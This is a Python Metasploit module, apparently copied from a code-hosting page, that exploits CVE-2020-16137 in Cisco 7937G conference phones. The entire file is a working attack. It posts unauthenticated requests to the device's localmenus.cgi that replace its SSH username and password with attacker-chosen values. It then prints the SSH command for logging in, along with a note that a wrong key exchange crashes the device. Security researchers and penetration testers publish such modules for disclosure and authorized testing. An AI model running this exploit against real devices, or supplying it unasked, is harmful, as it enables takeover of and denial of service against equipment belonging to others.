debifrank
89 lines
3.1 KiB
Python
89 lines
3.1 KiB
Python
# Exploit Title: Cisco 7937G Prvilege Escalation MSF Module
|
|
# Date: 2020-08-10
|
|
# Exploit Author: Cody Martin
|
|
# Author Homepage: debifrank.github.io
|
|
# Organization: BlackLanternSecurity
|
|
# Org. Homepage: BlackLanternSecurity.com
|
|
# Vendor Homepage: https://cisco.com
|
|
# Version: <=SCCP-1-4-5-7
|
|
# Tested On: SCCP-1-4-5-5, SCCP-1-4-5-7
|
|
# CVE: CVE-2020-16137
|
|
|
|
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
# standard modules
|
|
import logging
|
|
|
|
# extra modules
|
|
dependency_missing = False
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
dependency_missing = True
|
|
|
|
from metasploit import module
|
|
|
|
|
|
metadata = {
|
|
'name': 'Cisco 7937G SSH Privilege Escalation',
|
|
'description': '''
|
|
Sets SSH credentials to whatever is supplied.
|
|
''',
|
|
'authors': [
|
|
'Cody Martin'
|
|
],
|
|
'date': '2020-06-02',
|
|
'license': 'GPL_LICENSE',
|
|
'references': [
|
|
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
|
|
{'type': 'cve', 'ref': '2020-16137'},
|
|
{'type': 'edb', 'ref': '#'}
|
|
],
|
|
'type': 'single_scanner',
|
|
'options': {
|
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': ''},
|
|
'USER': {'type': 'string', 'description': 'Desired username', 'required': True, 'default': ''},
|
|
'PASS': {'type': 'string', 'description': 'Desired password', 'required': True, 'default': ''},
|
|
'TIMEOUT': {'type': 'int', 'description': 'Timeout in seconds', 'required': True, 'default': 5}
|
|
}
|
|
}
|
|
|
|
|
|
def run(args):
|
|
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
|
|
if dependency_missing:
|
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
|
return
|
|
|
|
# Exploit
|
|
url = "http://{}/localmenus.cgi".format(args['rhost'])
|
|
payload_user = {"func": "403", "set": "401", "name1": args['USER'], "name2": args['USER']}
|
|
payload_pass = {"func": "403", "set": "402", "pwd1": args['PASS'], "pwd2": args['PASS']}
|
|
logging.info("Attempting to set SSH credentials.")
|
|
try:
|
|
r = requests.post(url=url, params=payload_user, timeout=int(args['TIMEOUT']))
|
|
if r.status_code != 200:
|
|
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
|
return
|
|
|
|
r = requests.post(url=url, params=payload_pass, timeout=int(args['TIMEOUT']))
|
|
if r.status_code != 200:
|
|
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
|
return
|
|
except requests.exceptions.RequestException:
|
|
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
|
return
|
|
|
|
logging.info("SSH attack finished!")
|
|
logging.info(("Try to login using the supplied credentials {}:{}").format(args['USER'], args['PASS']))
|
|
logging.info("You must specify the key exchange when connecting or the device will be DoS'd!")
|
|
logging.info(("ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 {}@{}").format(args['USER'], args['rhost']))
|
|
|
|
return
|
|
|
|
|
|
if __name__ == "__main__":
|
|
module.run(metadata, run)
|